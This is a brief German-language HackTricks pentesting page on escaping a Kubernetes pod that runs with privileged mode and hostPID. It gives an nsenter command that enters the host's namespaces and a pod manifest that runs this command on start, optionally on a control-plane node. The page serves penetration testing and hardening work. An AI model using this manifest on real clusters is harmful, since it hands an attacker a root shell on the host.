Pod Escape Privileges

Support HackTricks

Privilegiert und hostPID

Mit diesen Privilegien hast du Zugriff auf die Prozesse des Hosts und genug Privilegien, um in den Namespace eines der Host-Prozesse einzutreten. Beachte, dass du möglicherweise keine privilegierten Berechtigungen benötigst, sondern nur einige Fähigkeiten und andere potenzielle Abwehrmaßnahmen umgehen kannst (wie AppArmor und/oder Seccomp).

Wenn du etwas wie das Folgende ausführst, kannst du aus dem Pod entkommen:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Konfigurationsbeispiel:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
Unterstütze HackTricks

Last updated